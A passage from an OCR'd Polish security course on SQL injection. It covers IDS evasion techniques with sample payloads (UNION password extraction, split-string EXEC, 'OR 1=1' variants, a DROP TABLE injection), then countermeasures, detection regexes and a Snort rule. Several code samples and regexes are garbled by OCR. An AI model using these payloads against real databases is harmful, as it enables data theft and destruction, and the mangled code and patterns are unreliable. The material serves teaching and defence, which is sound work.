UnloN sEleCt UsEr iD, PaSSwOrd fROm aDmiN wHeRe UseR NamE='AdMIn'--

Technika unikania: deklarowanie zmiennych

Podczas sesji internetowych atakujgcy uwaznie obserwuje wszystkie zapytania, ktére mogg mu w tym
poméc aby pozyska¢ wazne dane z bazy danych. Za pomocg tych zapytan osoba atakujgca moze
zidentyfikowac plik zmiennej, ktdrej mozna uzy¢ do przekazania serii specjalnie spreparowanych
instrukcji SQL w celu utworzenia pliku , wyrafinowany zastrzyk, ktéry moze tatwo pozostac niewykryty
przez mechanizm podpisu. Na przyktad instrukcja wstrzykiwania SQL uzywana przez atakujacego
wyglada nastepujaco:

UNION Select Password

Atakujgcy redefiniuje powyzszg instrukcje SQL w zmiennej ,sqglvar” w nastepujgcy sposdb:



; declare @sqlvar nvarchar(70); set @sqlvar = (N'UNI' + N'ON' + N' SELECT
+ N'Password'); EXEC(Qsqlvar)

Wykonanie powyzszego zapytania pozwala atakujgcemu omingé IDS w celu uzyskania wszystkich haset
z przechowywanej bazy danych.

Technika unikania: fragmentacja adresu IP

Atakujgcy celowo dzieli pakiet IP, aby roztozy¢ go na wiele mniejszych czesci. Atakujgcy wykorzystuja
te technike do unikania IDS lub WAF. Aby system IDS lub WAF mdgt wykry¢ atak, musi najpierw ztozy¢
fragmenty pakietu. Zwykle nie mozna znalez¢ dopasowania miedzy ciggiem ataku a sygnatura,
poniewaz kazdy pakiet jest sprawdzany indywidualnie. Te mate fragmenty mozna dalej modyfikowaé,
aby skomplikowaé ponowne ztozenie i wykrycie ataku fadunku.

Ponizej wymieniono rdézne sposoby obejscia mechanizmdw podpisu przy uzyciu fragmentéw IP:

Pauza podczas wysytania czeSci ataku w nadziei, ze IDS przekroczy limit czasu przed tym zanim robi to
komputer docelowy

Wyslij pakiety w odwrotnej kolejnosci

Wysytaj pakiety we wtasciwej kolejnosci, z wyjgtkiem pierwszego fragmentu, ktory jest wysytany jako
ostatni

Wysytaj pakiety we wtasciwe] kolejnosci, z wyjatkiem ostatniego fragmentu, ktdry jest wysytany jako
pierwszy

Wysytaj pakiety poza kolejnoscig lub losowo
Technika unikania: odmiana

Wariacja to technika unikania, dzieki ktérej atakujgcy moze fatwo unikngé wszelkich stwierdzen
poréwnawczych. Atakujgcy robi to, umieszczajgc znaki takie jak lub T=T” w dowolnej podstawowej
instrukcji wstrzykiwania, takiej jak ,lub 1=1" lub z innymi akceptowanymi komentarzami SQL. SQL
interpretuje to jako poréwnanie miedzy dwoma ciggami znakdéw lub znakami zamiast dwéch liczb
wartosci. Poniewaz ocena dwéch faiicuchéw daje stwierdzenie prawdziwe, podobnie ocena dwéch
wartosci liczbowych daje stwierdzenie prawdziwe, dzieki czemu nie ma to wptywu na ocene catego
zapytania. Mozliwe jest rdwniez napisanie wielu innych podpiséw; w zwigzku z tym istniejg rowniez
nieskoriczone mozliwosci zmiennosci.Gtéwnym celem atakujgcego jest posiadanie instrukcji WHERE,
ktéra jest zawsze oceniana jako ,prawdziwa”, tak aby mozna byto uzy¢ dowolnego pordwnania
matematycznego lub faricuchowego, w ktérym SQL moze wykona¢ to samo.Technika unikania:
odmiana

Na przyktad nastepujace zapytania zwrdcg identyczne zestawy wynikdéw:
SELECT * FROM accounts WHERE userName ='Bob' OR 1=1 —

SELECT * FROM accounts WHERE userName ='Bob' OR 2=2 —

SELECT * FROM accounts WHERE userName = 'Bob' OR 1+1=2 —

SELECT * FROM accounts WHERE userName = 'Bob' OR "evade"="ev"+"ade" --

Srodki zaradcze zwigzane z iniekcja SQL



W poprzednich sekcjach oméwiono wage atakow SQL injection, ich rézne techniki, narzedzia uzywane
do wykonywania SQL injection, techniki uzywane do omijania sygnatur IDS/firewall i tak dalej. Dyskusje
te dotyczyty ofensywnych technik, ktére osoba atakujgca moze zastosowaé do atakéw typu SQL
injection. W tej sekcji oméwiono techniki obrony przed atakami typu SQL injection i przedstawiono
srodki zaradcze chronigce aplikacje internetowe.

Dlaczego aplikacje internetowe s3 podatne na ataki SQL Injection?
Serwer bazy danych uruchamia polecenia systemu operacyjnego

Czasami serwer bazy danych uzywa polecen systemu operacyjnego do wykonania zadania. Osoba
atakujaca, ktéra naruszy serwer bazy danych za pomocg iniekcji SQL, moze uzy¢ polecenia systemu
operacyjnego do wykonania nieautoryzowanych operacji.

Uzywanie konta uprzywilejowanego do fgczenia sie z bazg danych

Programista moze przyznac uzytkownikowi bazy danych konto z wysokimi uprawnieniami. Atakujacy,
ktory ztamie uprzywilejowane konto, moze uzyskac dostep do bazy danych i wykonac ztos$liwe dziatania
na poziomie systemu operacyjnego.

Komunikat o btedzie ujawniajacy waine informacje

Jesli dane wejsciowe podane przez uzytkownika nie istniejg lub struktura zapytania jest nieprawidtowa,
serwer bazy danych wyswietla komunikat o btedzie. Ten komunikat o btedzie moze ujawni¢ wazne
informacje o bazie danych, ktérych osoba atakujgca moze uzy¢ do uzyskania nieautoryzowanego
dostepu do bazy danych.

Brak weryfikacji danych na serwerze

Jest to najczestsza luka prowadzgca do atakéw typu SQL injection. Wiekszos$¢ aplikacji jest narazona na
ataki typu SQL injection, poniewaz uzywajg one niewtasciwej techniki sprawdzania poprawnosci (lub
w ogéle nie sprawdzajg poprawnosci) do filtrowania danych wejsciowych. Dzieki temu osoba atakujaca
moze wstrzykngé¢ ztosliwy kod do zapytania. Wdrazanie spdjnych standardéow kodowania,
minimalizacja uprawnien i zapora ogniowa serwera mogg pomoc w obronie przed atakami typu SQL
injection.

Minimalizowanie przywilejow

Programisci czesto ignorujg aspekty bezpieczeristwa podczas tworzenia nowej aplikacji i zostawiajg te
kwestie na koniec cyklu rozwojowego. Jednak kwestie bezpieczeistwa powinny byé najwyzszym
priorytetem, a programista powinien uwzgledni¢ odpowiednie kroki na samym etapie rozwoju. Wazne
jest, aby najpierw utworzy¢ konto o niskich uprawnieniach i rozpoczgé dodawanie uprawnien tylko
wtedy, gdy jest to konieczne. Korzy$¢ z wczesnego zajecia sie zabezpieczeniami polega na tym, ze
programisci mogq zajac sie problemami zwigzanymi z bezpieczenstwem podczas dodawania funkgji,
dzieki czemu identyfikacja i naprawa stajg sie tatwe. Ponadto programisci zapoznajg sie z ramami
bezpieczenstwa, gdy sg zmuszeni do ich przestrzegania przez caty czas trwania projektu. Korzyscig jest
zwykle bardziej bezpieczny produkt, ktdry nie wymaga w ostatniej chwili walki z zabezpieczeniami,
ktdra nieuchronnie pojawia sie, gdy klienci narzekajg, ze ich zasady bezpieczeistwa nie pozwalajg na
uruchamianie aplikacji poza kontekstem administratora systemu.

Wdrazanie spdéjnych standardow kodowania

Twércy baz danych powinni starannie planowaé bezpieczenstwo catej infrastruktury systemu
informatycznego i integrowad zabezpieczenia w opracowywanych przez siebie rozwigzaniach. Musza



réwniez przestrzegac zestawu dobrze udokumentowanych standardéw i zasad podczas projektowania,
opracowywania i wdrazania rozwigzan bazodanowych i aplikacji internetowych. Rozwazmy na przyktad
zasady wykonywania dostepu do danych. Ogdlnie rzecz biorgc, programisci uzywaja wybranych przez
siebie metod dostepu do danych. Zwykle skutkuje to szeroka gamg metod dostepu do danych, z
ktérych kazda ma unikalne obawy dotyczgce bezpieczenstwa. Rozsgdniejszg polityka bytoby okreslenie
wytycznych gwarantujgcych podobienistwo miedzy réznymi procedurami programistow. Taka spéjnosc
znacznie poprawitaby zardwno tatwos¢ konserwacji, jak i bezpieczenstwo produktu. Inng przydatna
zasadg kodowania jest sprawdzanie poprawnosci danych wejsciowych zaréwno na poziomie klienta,
jak i serwera. Programisci czasami polegajg tylko na sprawdzaniu poprawnosci po stronie klienta, aby
unikng¢ problemdw z wydajnoscig, poniewaz minimalizuje to podrdze w obie strony do serwera. Nie
nalezy jednak zaktadaé, ze przegladarka rzeczywiscie spetnia standardowg weryfikacje, gdy
uzytkownicy publikujg informacje. Wszystkie kontrole poprawnosci danych wejsciowych powinny
réowniez odbywac sie na serwerze, aby upewnic sie, ze wszelkie dane wprowadzane przez ztosliwych
uzytkownikéw s odpowiednio filtrowane. Zamiast domysinych komunikatéw o btedach, ktére
ujawniajg informacje o systemie, w przypadku wystgpienia btedu powinny byé wyswietlane
niestandardowe komunikaty o btedach, ktére zawierajg niewiele informacji o systemie lub nie
zawierajg ich wcale.

Zapora serwera SQL

Dobrym pomystem jest zapora ogniowa serwera, aby tylko zaufani klienci mogli sie z nim kontaktowa¢d
- w wiekszosci Srodowisk sieciowych jedynymi hostami, ktére muszg taczy¢ sie z serwerem SQL, sg sie¢
administracyjna (jesli taka istnieje) i serwery sieciowe ), ktére obstuguje. Zazwyczaj program SQL Server
musi tgczyc sie tylko z serwerem zapasowym. SQL Server domyslnie nastuchuje na nazwanych potokach
(przy uzyciu sieci Microsoft na portach TCP 139 i 445), a takze na porcie TCP 1433 i porcie UDP 1434.
Jesli blokada serwera jest wystarczajgco dobra, powinna byé w stanie pomodc ztagodzi¢ ryzyko
nastepujacych :

o Deweloperzy przesytajg nieautoryzowane/niezabezpieczone skrypty i komponenty na serwer WWW
o Zle natozone taty

o Btedy administracyjne

Srodki zaradcze przeciwko SQL Injection

Aby obroni¢ sie przed iniekcjg SQL, programista musi zachowac nalezytg ostroznos¢ podczas
konfigurowania i rozwijania aplikacji, aby stworzy¢ aplikacje solidng i bezpieczng. Deweloper powinien
stosowaé najlepsze praktyki i srodki zaradcze, aby zapobiec narazeniu aplikacji na ataki typu SQL
injection. Ponizej wymieniono niektére $rodki zaradcze w celu obrony przed atakami typu SQL
injection:

Nie réb zadnych zatozen co do rozmiaru, rodzaju lub zawartosci danych otrzymywanych przez Twoja
aplikacje.

Przetestuj rozmiar i typ danych wejsciowych i wyegzekwuj odpowiednie limity, aby zapobiec
przepetnieniu bufora.

Przetestuj zawartosc¢ zmiennych taricuchowych i zaakceptuj tylko oczekiwane wartosci.

Odrzu¢ wpisy zawierajgce dane binarne, sekwencje specjalne i znaki komentarza.



Nigdy nie twérz instrukcji jezyka Transact-SQL bezposrednio na podstawie danych wprowadzonych
przez uzytkownika i nie uzywaj procedur sktadowanych aby zweryfikowac¢ dane wprowadzone przez
uzytkownika.

Implementuj wiele warstw walidacji i nigdy nie tgcz danych wejsciowych uzytkownika, ktére nie sg
zweryfikowane.

Unikaj konstruowania dynamicznego kodu SQL z pofagczonymi wartosciami wejsciowymi.
Upewnij sie, ze pliki konfiguracyjne sieci Web dla kazdej aplikacji nie zawierajg poufnych informacji.
Uzywaj najbardziej restrykcyjnych typéw kont SQL dla aplikacji.

Uzywaj systeméw wykrywania wtaman do sieci, hostéw i aplikacji do monitorowania atakéw
iniekcyjnych.

Wykonuj zautomatyzowane testy wstrzykiwania czarnej skrzynki, statyczng analize kodu zrédtowego i
reczne testy penetracyjne w celu wykrycia luk w zabezpieczeniach.

Trzymaj niezaufane dane z dala od polecen i zapytan.

W przypadku braku sparametryzowanego interfejsu API, uzyj okre$lonej skfadni ucieczki dla
interpretera, aby wyeliminowacd znaki specjalne.

Uzywaj bezpiecznego algorytmu wyznaczania wartosci skrotu, takiego jak SHA256, do przechowywania
haset uzytkownikéw zamiast zwyktego tekstu.

Uzyj warstwy abstrakcji dostepu do danych, aby wymusi¢ bezpieczny dostep do danych w catej
aplikacji.

Upewnij sie, ze komunikaty $ledzenia kodu i debugowania zostaty usuniete przed wdrozeniem aplikacji.
Zaprojektuj kod w taki sposéb, aby odpowiednio przechwytywat i obstugiwat wyjatki.
Zastosuj reguty najmniejszych uprawnien do uruchamiania aplikacji, ktére majg dostep do DBMS.

Weryfikuj dane dostarczone przez uzytkownikéw, a takze dane uzyskane z niezaufanych Zrédet po
stronie serwera.

Unikaj identyfikatoréw ujetych w cudzystowy/rozdzielone, poniewaz znacznie komplikujg one
wszystkie dziatania zwigzane z umieszczaniem na biatej i czarnej liscie oraz unikaniem.

Uzyj przygotowane;j instrukcji, aby utworzy¢ sparametryzowang kwerende, aby zablokowaé wykonanie
kwerendy.

Upewnij sie, ze wszystkie dane wejSciowe uzytkownika sg oczyszczone przed uzyciem ich w
dynamicznych instrukcjach SQL.

Uzywaj wyrazen regularnych i procedur sktadowanych do wykrywania potencjalnie szkodliwego kodu.
Unikaj korzystania z aplikacji internetowych, ktére nie sg testowane przez serwer WWW.

Odizoluj serwer WWW, blokujgc go w réznych domenach.

Upewnij sie, ze wszystkie poprawki oprogramowania sg regularnie aktualizowane.

Regularnie monitoruj instrukcje SQL z aplikacji potgczonych z bazg danych, aby identyfikowaé ztosliwe
instrukcje SQL.



Stosowanie widokéw jest niezbedne do ochrony danych w tabelach bazowych poprzez ograniczanie
dostepu i wykonywanie przeksztatcen.

Wytacz dostep powtoki do bazy danych.
Nie ujawniaj uzytkownikom koncowym informacji o btedach bazy danych.

Uzyj bezpiecznego API, ktére oferuje sparametryzowany interfejs lub catkowicie unika korzystania z
interpretera.

Zleca¢ na zewnatrz proces uwierzytelniania aplikacji, na przykfad przy uzyciu interfejséw APl OAUTH,
co umozliwia uzytkownikom logowanie sie przy uzyciu istniejgcych kont uzytkownikéw, a ponadto
zapewnia przechowywanie danych logowania w jednym miejscu.

Zastosuj strukture mapowania obiektowo-relacyjnego (ORM), aby bezpiecznie komunikowac sie z bazg
danych.

Korzystaj z najnowszych jezykdw programowania oferujgcych ochrone SQLi.

Przeprowadz weryfikacje danych wprowadzonych przez uzytkownika na podstawie biatych list zamiast
czarnych list.

Nigdy nie uzywaj tych samych kont bazy danych dla wielu aplikacji.
Wytacz niepotrzebne funkcjonalnosci bazy danych.

Unikaj uzywania xp_cmdshell do kontrolowania interakcji miedzy serwerem SQL a sktadnikami innych
serwerdw.

Uzyj zapory aplikacji sieci Web (WAF), aby wyeliminowa¢ ztosliwe dane wejsciowe.

Unikaj uzywania rozszerzonych/dtugich adreséw URL, ktore mogg powodowac przepetnienie bufora
oparte na stosie.

Konwertuj dane wejsciowe uzytkownikow, takie jak nazwy uzytkownikdw i hasta, na ciggi przed
weryfikacja.

Uzyj bezpiecznych parametréw dla SQL

Wymuszaj sprawdzanie typu i dtugosci za pomoca kolekcji parametréow, aby dane wejsciowe byty
traktowane jako wartosc literatowa zamiast kodu wykonywalnego.

SqlDataAdapter myCommand = new SqlDataAdapter("AuthLogin", conn);
myCommand.SelectCommand.CommandType = CommandType.StoredProcedure;
SqlParameter parm = myCommand.SelectCommand.Parameters.Add(” @aut id”,
SqlDbType.VarChar, 11);

parm.Value = Login.Text;

W tym przyktadzie parametr @aut_id jest traktowany jako wartos$¢ literatowa zamiast kodu
wykonywalnego. Ta wartosc¢ jest sprawdzana pod katem typu i dtugosci. Ponizej znajduje sie przyktad
podatnego kodu:

SqlDataAdapter myCommand =



new SqlDataAdapter("LoginstoredProcedure ' " +

Login.Text + """, conn);

Ponizej znajduje sie przyktad bezpiecznego kodu:

SqlDataAdapter myCommand = new SqlDataAdapter( "SELECT aut_Iname,
aut_fname FROM Authors WHERE aut_id = @aut_id", conn); SQLParameter parm =
myCommand.SelectCommand.Parameters.Add(" @aut_id", SqlDbType.VarChar, 11);
Parm.Value = Login.Text;

Aby broni¢ sie przed atakami polegajgcymi na iniekcji SQL, system powinien zastosowac $rodki
zaradcze opisane w poprzedniej sekcji, a takze uzywac parametréw SQL bezpiecznych dla typow. Aby
chroni¢ serwer WWW, uzyj WAF/IDS i filtruj pakiety. Regularnie aktualizuj oprogramowanie za pomocg
poprawek, aby serwer byt aktualny i chronit go przed atakami. Oczyszczaj i filtruj dane wprowadzane
przez uzytkownikéw, analizuj kod Zrédtowy pod katem iniekcji SQL i minimalizuj uzycie aplikacji innych
firm w celu ochrony aplikacji internetowych. Uzywaj procedur sktadowanych i zapytan
parametrycznych do pobierania danych, wytgcz gadatliwos¢ komunikatéw o btedach, ktére moga
pomadc atakujgcemu w zdobyciu przydatnych informacji, oraz uzywac niestandardowych stron btedow
do ochrony aplikacji internetowych. Aby unikngc¢ iniekcji kodu SQL do bazy danych, potacz konta
nieuprzywilejowane i nadaj jak najmniejsze uprawnienia do bazy danych, tabel i kolumn. Wytacz
polecenia, takie jak xp_cmdshell, ktére moga wptywaé na system operacyjny systemu.

Obrony w walidacji danych wejsciowych aplikacji

Istnieje kilka sposobdw, dzieki ktérym dane wejsciowe podane do aplikacji s oczyszczane przed
przetworzeniem przez baze danych. Gtéwnym podejsciem jest sprawdzanie poprawnosci danych
wejsciowych dostarczonych przez uzytkownika przy uzyciu technik takich jak umieszczanie na biatych i
czarnych listach. Walidacja danych wejsciowych pomaga programistom zapobiegaé wptywowi danych
dostarczanych przez uzytkownika na logike kodu.

Weryfikacja biatej listy

Walidacja biatej listy to najlepsza praktyka, zgodnie z ktérg akceptowana jest tylko lista podmiotow (tj.
typ danych, zakres, rozmiar, wartosc itp.), ktére zostaty zatwierdzone do bezpiecznego dostepu.
Walidacja biatej listy moze by¢ rowniez okreslana jako walidacja pozytywna lub wtgczenie. Ta walidacja
jest zwykle implementowana przy uzyciu wyrazen regularnych. Na przyktad znaki uzywane do
sprawdzania poprawnosci biatej listy obejmujg Implementacja sprawdzania poprawnosci biatej listy
moze by¢ skomplikowana w niektérych przypadkach, gdy dane wejsciowe nie moga by¢ tatwo
okreslone lub jesli dane wejsciowe zawierajg duze zestawy znakéw.

Weryfikacja czarnej listy

Weryfikacja czarnej listy odrzuca wszystkie ztosliwe dane wejsciowe, ktére zostaty odrzucone w celu
uzyskania chronionego dostepu. Weryfikacja czarnej listy moze by¢ trudna, poniewaz kazda tresé i
charakter ataku powinny by¢ interpretowane, rozumiane i przewidywane réwniez w przypadku
przysztych atakéw. Walidacja czarnej listy moze byé réwniez okreslana jako walidacja negatywna lub
wykluczenie. To sprawdzanie poprawnosci jest zwykle realizowane przy uzyciu wyrazen regularnych
zawierajgcych liste znakéw lub ciggdw znakdéw, ktdre muszg byé zabronione. Na przyktad znaki
uzywane do sprawdzania poprawnosci czarnej listy to ,,' | % 1—L1 /\* IN\\* LI\ [I @ | xp_". Ogdlnie
rzecz biorgc, umieszczanie na czarnej liscie nie jest przeprowadzane w odosobnieniu; jest wykonywana



wraz z biafg listg. Najlepszg metodg zapobiegania atakom typu SQL injection jest stosowanie czarnej
listy wraz z technika kodowania danych wyjsciowych, dzieki czemu dane wejsciowe mogg zostac
zakodowane i sprawdzone przed przekazaniem ich do bazy danych.

Kodowanie wyjsciowe

Kodowanie wyjsciowe to technika sprawdzania poprawnosci, ktérej mozna uzy¢ po sprawdzeniu
poprawnosci danych wejsciowych. Ta technika jest uzywana do kodowania danych wejsciowych, aby
upewnic sie, ze sy one odpowiednio oczyszczone przed przekazaniem ich do bazy danych. W niektdrych
przypadkach, gdy uzywany jest dynamiczny SQL, sama walidacja biatej listy nie dziata. Na przyktad
podczas sprawdzania pola sprawdzania poprawnosci nazwy O'Flenry jest prawidtowa nazwag, ale biata
lista nie zezwala na to ze wzgledu na znak specjalny,, ' ”, co moze powodowac problemy, gdy zapytanie
SQL jest generowane dynamicznie, jak pokazano ponizej:

String myQuery = "INSERT INTO UserDetails VALUES (" + first_ name+""',"'" + last name "+ " ');"

W powyzszym scenariuszu osoba atakujgca moze wstrzykngé ztosliwe dane wejsciowe do pola imie, jak
pokazano ponizej:

“,‘"); DROP TABLE UserDetails—
Wynikowe zapytanie, ktdre jest wykonywane, jest nastepujace:
INSERT INTO UserDetails VALUES (","); DROP TABLE UserDetails--',"" );

W MySQL Server fanicuch konczy sie pojedynczym cudzystowem ('); stad kodowanie pojedynczego
cudzystowu jest obowigzkowe, gdy jest zawarte w dynamicznych instrukcjach SQL. Mozna to réwniez
zrobié na dwa sposoby; pojedynczy cudzystow mozna zastgpi¢ dwoma pojedynczymi cudzystowami lub
odwrotnym ukos$nikiem, po ktdrym nastepuje pojedynczy cudzystéw. Te dwie metody traktujg
pojedynczy cudzystow jako czesé literatu faricuchowego, zapobiegajgc wszelkim prébom iniekcji SQL.
Na przyktad mozemy uzyé nastepujacego kodowania danych wyjsciowych w Javie:

myQuery = myQuery.replace, ",", ,\",);

Gtéwng wadg kodowania danych wyjsciowych jest to, ze dane wejsciowe muszg by¢ kodowane za
kazdym razem, zanim zostang dostarczone do zapytania do bazy danych; w przeciwnym razie aplikacja
moze pasé ofiarg atakdéw typu SQL injection.

Egzekwowanie najmniejszych przywilejow

Wymuszanie najmniejszych uprawnien to najlepsza praktyka w zakresie bezpieczenstwa, zgodnie z
ktorg kazdemu kontu uzyskujgcemu dostep do bazy danych przypisuje sie najnizszy poziom uprawnien.
Zaleca sie, aby nie nadawac aplikacji praw dostepu na poziomie DBA i administratora. W niektérych
sytuacjach krytycznych niektdre aplikacje mogg wymagac podwyzszonych praw dostepu; w zwigzku z
tym specjalici ds. bezpieczenstwa powinni wykonac¢ odpowiednie prace przygotowawcze, a takze
okresli¢ doktadne wymagania aplikacji. Na przyktad, gdy aplikacja wymaga tylko dostepu do odczytu,
nalezy przyznaé¢ tylko uprawnienia dostepu do odczytu. Minimalne uprawnienia powinny by¢
przypisane do systemu operacyjnego, w ktérym dziata DBMS i nigdy nie powinien on uruchamia¢ DBMS
jako root. W ten sposdb, minimalizujgc prawa dostepu, mozna zmniejszy¢é mozliwosé
nieautoryzowanego dostepu i obronic sie przed atakami SQL injection i innymi atakami.

Klauzule LIKE



Podczas korzystania z klauzuli LIKE znaki wieloznaczne, takie jak _, % i [, powinny by¢ zmieniane. W tym
celu uzyj metody Replace ( ) i wstaw te symbole wieloznaczne miedzy nawiasy kwadratowe, ktére
moga chronic¢ kod przed iniekcjg SQL. Ponizszy kod ilustruje przykfad:

s = s.Replace("[", "[[I");

s = s.Replace ("%", "[%]");

s=s.Replace ("_","[_1");

Zawijanie parametrow za pomocg QUOTENAME() i REPLACED

Sprawdz, czy zmienne uzywane w Dynamic Transact-SQL sg odpowiednio zarzgdzane. Dane otrzymane
z parametréw uzywanych w procedurze sktadowanej lub dane otrzymane z istniejgcych tabel powinny
by¢ opakowane za pomocg QUOTENAMEOQ i REPLACE().

o Jesli tancuch ma < 128 znakoéw, uzyj QUOTENAME(gzmienna,

o Jesli tancuch ma > 128 znakoéw, uzyj REPLACE (gzmienna,1'"'",
Na przyktad nastepujace wiersze kodu uzywajg tej metody:

-- Before:

SET @temp = N'SELECT * FROM employees WHERE emp_lname =
+ @emp_Iname + N'

-- After:

iii

ii.

SET @temp = N'SELECT * FROM employees WHERE emp_Iname =
+ REPLACE(@emp_Iname,"", """) +N'""

Wykrywanie atakéw SQL Injection

Specjalisci ds. bezpieczenstwa muszg opracowac i wdrozyé reguty w systemie IDS w celu wykrywania
wyrazen regularnych uzywanych w atakach polegajacych na wstrzykiwaniu kodu SQL na serwer WWW.
W tym celu muszg uzywad wyrazen regularnych do wykrywania metaznakéw wstrzykiwania SQL, takich
jak pojedynczy cudzystéw (') i podwdjny mysinik (--). Ponizej wymieniono wyrazenia regularne stuzace
do wykrywania znakdw charakterystycznych dla iniekcji SQL oraz ich znaczenie:

Znak : Wyjasnienie

\’ : Pojedynczy cudzystow

| : ot

\%27 Szesnastkowy odpowiednik znaku pojedynczego cudzystowu
\-\- : Podwdjna kreska

# : Znak hash lub funta

\%23 : Szesnastkowy odpowiednik znaku hash



i : Wielkos¢ liter nie jest rozrézniana

x : Ignoruj biate spacje we wzorcu

\%3D : Szesnastkowy odpowiednik znaku = (réwnosci).
\%3B : Szesnastkowy odpowiednik ; ($rednik).

\%6F : Szesnastkowy odpowiednik znaku o

\%A4F : Szesnastkowy odpowiednik znaku 0

\%72 : Szesnastkowy odpowiednik znaku r

\%52 : Szesnastkowy odpowiednik znaku R

Specjalisci ds. bezpieczeristwa moga uzywac wyszukiwania wyrazen regularnych do wykrywania
metaznakow SQL.

Wyrazenie regularne do wykrywania metaznakéw SQL
J(\') 1<\%27) [ <\-\-) | (#) 1 (\%23)/ix

Specjalisci ds. bezpieczenstwa muszg sprawdza¢ wyrazenia regularne, takie jak znak pojedynczego
cudzystowu ( ), w zadaniach sieci Web lub jego odpowiednik w postaci wartosci szesnastkowej, aby
wykry¢ ataki polegajace na iniekcji SQL. Muszg szukaé znaku podwdjnej kreski (--), poniewaz nie jest to
znak HTML, a zadanie sieciowe nie wykonuje dla niego zadnego kodowania. Niektdre serwery SQL
muszg wykrywac znak krzyzyka (#) i jego odpowiednik szesnastkowy. Specjalisci ds. bezpieczenstwa
muszg szukac tych wyrazen regularnych w dziennikach urzgdzen kontroli bezpieczeristwa, takich jak
WAF i IDS. Ponizszy tekst jest dziennikiem uzyskanym z rozwigzania IDS przy uzyciu narzedzia do analizy
dziennikéw Snort.

alert tip SEXTERNAL_NET any -> SHTTP SERVERS SHTTP PORTS(msg: "SQL
Injection — Paranoid"; flow:to_server, established;
uricontent:".pi";pcre:"/(\")| (\%27) | \—\—) | (#) | (\%23)/ix";
classtype:Web-application-attack;

sid:9099; rev:5;)

Analiza wykrytego dziennika wyglada nastepujaco:

Atrybut ,alert” wskazuje, ze dziennik jest alertem generowanym, gdy rozwigzanie IDS wykryje
sygnature ataku w zagdaniu HTTP. ,,tcp” oznacza uzycie protokotu TCP, podczas gdy ,SEXTERNAL_NET”
wskazuje adres IP sieci zewnetrznej, a ,,any” oznacza dowolny port Zrédtowy. Operator pozwala na
odseparowanie miejsca docelowego od Zrédta. ,,SHTTP_SERVERS” to atrybut zmiennej wskazujacy
liczbe serwerdw sieciowych w organizacji, a ,SHTTP_PORTS” reprezentuje typowe porty uzywane w
ruchu HTTP, takie jak 80 i 8080. Ponadto ,msg:” oznacza komunikat, podczas gdy Atrybut
,flow:to_server” wskazuje kierunek ruchu. Atrybuty ,ustanowiony” i ,uricontent:1'.pi” wskazuja, ze
alert jest generowany odpowiednio tylko dla nawigzanych potgczen TCP i zawartosci URI (aplikacji)
opartej na skrypcie jezyka Perl.

Zmodyfikowane wyrazenie regularne do wykrywania metaznakéow SQL

/((\%3D) [ (=))[*\n]*((\%27) | (V ) |(\-\-)| <\%3B)|(;))/ix



Specjalisci ds. bezpieczeristwa muszg uzywadé powyzszego wyrazenia regularnego, aby sprawdzi¢ znak
»,=" z zadania uzytkownika lub jego warto$¢ szesnastkowg (%3D). Wyrazenie ,[A \n] * 1 wskazuje, ze
moze zawierac znaki inne niz znak nowej linii. Nastepnie sprawdza pojedynczy cudzystéw ('), podwadjny
myslnik (--) i srednik (,e ).

Wyrazenie regularne dla typowego ataku typu SQL injection
NAw*(<\%27)| (V))((\%6F) | o] (\%4F))(\%72)|r|(\%52))/ix

Specjalisci ds. bezpieczenstwa muszg uzywaé powyzszego wyrazenia, aby wykry¢ zero lub wiecej
znakéw alfanumerycznych i podkreslen, ktére sg zaangazowane w atak. Znak pojedynczego
cudzystowu (') lub jego rGwnowazna wartosc szesnastkowa jest wykrywany przy uzyciu wyrazenia ' ( (
\%27) | (\"') > Pozostate wyrazenie wykrywa stowo ,,lub” (,,lub”, ,Or”, ,, oR” lub ,,OR”) i odpowiadajgce
im wartosci szesnastkowe.

Wyrazenie regularne do wykrywania iniekcji SQL za pomocg stowa kluczowego UNION

Niektérzy napastnicy uzywajg stéw kluczowych UNION w zapytaniach iniekcji SQL, aby ulepszy¢ swoje
ataki i przeprowadzi¢ dalsze wykorzystanie. SpecjaliSci ds. bezpieczedstwa muszg uzywad
nastepujgcego wyrazenia do wykrywania zapytan SQL zawierajgcych stowa kluczowe UNION.

/((\%27) | (\'))union/ix

Spowoduje to sprawdzenie pojedynczego cudzystowu (') lub jego réwnowazinej wartosci
szesnastkowej, a nastepnie stowa kluczowego union w zgdaniach HTTP. Specjalisci ds. bezpieczenstwa
muszg opracowac podobne wyrazenia dla stéw kluczowych: wstawié, zaktualizowac, wybraé, usungc i
upusci¢, aby wykry¢ préby wstrzykniecia kodu SQL.

Wyrazenie regularne do wykrywania atakéw typu SQL injection na MS SQL Server

Na dowolnym etapie ataku, jesli atakujgcy stwierdzi, ze aplikacja internetowa jest podatna na ataki
typu injection, a baza danych podfgczona do serwera WWW to MS SQL, moze uzy¢ nawet najbardziej
ztozonych zapytan zawierajacych procedury sktadowane (sp) i rozszerzone procedury (xp). Sprobuje
uzyc rozszerzonych procedur, takich jak ,xp_cmdshel”, ,xp_regread” i ,xp_regwrite”, do wykonywania
polecen powtoki z serwera SQL i modyfikowania rejestrow.

Jexec(\s|\+)+(s|x)p\w+/ix

Specjalisci ds. bezpieczenstwa muszg uzywac powyzszego wyrazenia, aby sprawdzi¢ stowo kluczowe
,exec”, spacje (lub ich odpowiedniki szesnastkowe), kombinacje liter sp lub xp dla procedur
sktadowanych lub procedur rozszerzonych, a na koniec znak alfanumeryczny lub podkreslenie.

Narzedzia do wykrywania iniekcji SQL

Narzedzia do wykrywania iniekcji SQL pomagajg w wykrywaniu atakdéw iniekcji SQL poprzez
monitorowanie ruchu HTTP i wektoréw atakdw iniekcji SQL oraz okreslaja, czy aplikacja internetowa
lub kod bazy danych jest podatny na luki w iniekcji SQL.

OWASP ZAP

OWASP Zed Attack Proxy (ZAP) to zintegrowane narzedzie do testdw penetracyjnych stuzgce do
wyszukiwania luk w zabezpieczeniach aplikacji internetowych. Oferuje zautomatyzowane skanery, a
takze zestaw narzedzi, ktére pozwalajg recznie znalez¢ luki w zabezpieczeniach. Jest przeznaczony do
uzytku przez osoby z duzym doswiadczeniem w zakresie bezpieczenstwa i jako taki jest idealny dla
programistow i testeréw funkcjonalnych, ktérzy dopiero rozpoczynajg testy penetracyjne. Specjalisci



ds. bezpieczenstwa mogg uzywaé tego narzedzia do identyfikowania i naprawiania luk w
zabezpieczeniach, maksymalizacji dziatan naprawczych i zmniejszania prawdopodobienistwa atakow.

Damn Small SQLi Scanner (DSSS)

Damn Small SQLi Scanner (DSSS) to w petni funkcjonalny skaner podatnosci na ataki typu SQL injection
(obstugujgcy parametry GET i POST). Skanuje aplikacje internetowg w poszukiwaniu réznych luk
